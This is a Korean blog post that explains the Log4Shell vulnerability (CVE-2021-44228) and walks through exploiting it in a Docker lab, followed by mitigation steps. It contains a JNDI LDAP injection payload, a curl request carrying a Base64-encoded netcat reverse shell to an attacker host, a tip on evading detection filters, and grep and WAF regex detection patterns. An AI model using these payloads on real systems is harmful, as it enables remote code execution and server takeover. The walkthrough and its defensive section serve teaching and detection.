-
Log4Shell 또는 CVE-2021-44228는 저명한 자바 로깅 프레임워크 Log4j의 제로 데이 임의 코드 실행 취약점이다.
자바 로깅 프레임워크 Log4j Log4j는 Java 기반 애플리케이션에서 로그 기능과 관련된 라이브러리이다. 사용자가 제품의 문제나 정보를 식별하기 위해, 그리고 소프트웨어 개발자가 프로그램을 개발하는 도중에 디버깅 등을 위해 타임스탬프 등 정해진 양식에 맞추어 화면 상이나 파일로 로그를 남길 목적으로 사용된다.
Log4j v2에서 취약점이 발견되었으며, 이를 통해 시스템이 공격자의 JSDI, LDAP 서버 조회를 사용하여 공격자가 제어하는 문자열 값을 기록하는 경우 원격 공격자가 서버에서 코드를 실행할 수 있도록 한다.
이 취약점을 통해 원격 공격자는 Log4j v2를 호출한 Java 기반 애플리케이션과 동일한 권한으로 대상 시스템에서 코드를 실행할 수 있다.
간단 Log4shell 취약점 공격 원리
이 취약점은 JNDI와 LDAP를 이용한다. JNDI는 Java Naming and Directory Interface의 약자로 디렉터리 서비스에서 제공하는 데이터 및 객체를 발견(discover)하고 참고(lookup)하기 위한 자바 API다. JNDI는 디렉터리 서비스를 위해 다양한 인터페이스가 존재하는데 그 중 하나가 LDAP이다.
공격 코드 ${jndi:ldap://attacker_domain} 로 log4j가 JNDI를 통해 공격자 도메인으로 요청을 전송하고 공격자가 JNDI exploit을 미리 준비해 두었다면 code execution이 가능하다.
취약점 공격 시연
도커에서 취약한 서버를 가동 도커(Docker)에서 Log4shell 취약점에 취약한 서버를 가동시킨다.
취약한 서버의 주소 취약한 서버의 주소는 172.17.0.1 이다.
공격자의 주소 공격자의 주소는 192.168.0.18 이고, JNDI exploit을 미리 준비하였다.
공격자의 ldap 서버 공격자가 ldap 서버를 가동시킨다.
공격자가 netcat을 이용하여 연결 대기 중이다. 공격자가 nc 4444번 포트로 취약한 서버와의 연결을 대기 중이다.
nc 리버스 쉘 코드 생성 아래 링크에서 공격자가 리버스 쉘 코드를 생성한다.
Online - Reverse Shell Generator
Online Reverse Shell generator with Local Storage functionality, URI & Base64 Encoding, MSFVenom Generator, and Raw Mode. Great for CTFs.
www.revshells.com
생성된 nc 리버스 쉘 코드를 Base64로 인코딩 생성된 nc 리버스 쉘 코드를 취약한 서버의 탐지 필터링 우회를 위해 Base64로 인코딩한다.
공격 코드 작성 후 취약한 서버에 요청 curl [SERVER IP]:[SERVER PORT] -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/[BASE64 ENCODED PAYLOAD]}’
공격자가 공격 코드 작성 후 curl 명령어로 취약한 서버에 http request를 보낸다.
공격자 ldap 서버(JNDIExploit)의 로그 JNDIExploit의 출력은 악성 LDAP 응답을 보내고 2단계 페이로드를 제공했음을 보여준다.
취약한 서버의 공격자 요청 로그 취약한 서버에서 공격자가 요청한 로그를 볼 수 있다.
공격 성공 후 모습 공격자가 공격 성공 후 쉘을 딴 것을 볼 수 있다. 쉘을 따인 이상 이제 이 서버는 공격자에게 점령당한 것이나 다름없다.
대응방안
Log4shell 취약점 대응 방안 01. 자체 점검
sudo egrep -I -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+' /var/log
sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep –E -i '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+'
02. 웹방화벽 및 웹 로그 Query
(?i)\$(%7b|\{)jndi:((ldap[s]?|rmi|dns)|[\$\{lower\:ldap\}]+):\/[^\n]+
03. 오픈 소스 log4shell 스캐너를 이용한다 (윈도우 / 리눅스)
GitHub - logpresso/CVE-2021-44228-Scanner: Vulnerability scanner and mitigation patch for Log4j2 CVE-2021-44228
Vulnerability scanner and mitigation patch for Log4j2 CVE-2021-44228 - GitHub - logpresso/CVE-2021-44228-Scanner: Vulnerability scanner and mitigation patch for Log4j2 CVE-2021-44228
github.com
소스 출처
- Log4shell Vulnerable app
GitHub - christophetd/log4shell-vulnerable-app: Spring Boot web application vulnerable to CVE-2021-44228, nicknamed Log4Shell.
Spring Boot web application vulnerable to CVE-2021-44228, nicknamed Log4Shell. - GitHub - christophetd/log4shell-vulnerable-app: Spring Boot web application vulnerable to CVE-2021-44228, nicknamed ...
github.com
- JNDI Exploit.v1.2
Release JNDIExploit.v1.2 · Mr-xn/JNDIExploit-1
JNDIExploit.v1.2 backup
github.com
'Exploit > Exploit' 카테고리의 다른 글
LFI to RCE via PHP Filter (0) 2023.03.29 [XSS] File upload XSS (0) 2023.02.02 How to install Parallels tools on Kali Linux kernel 5.18.0 (0) 2022.09.27 [Follina] Microsoft Office code execution vulnerability (0) 2022.06.04 [EternalBlue] Windows SMBv1 Vulnerability (0) 2022.02.15 댓글 0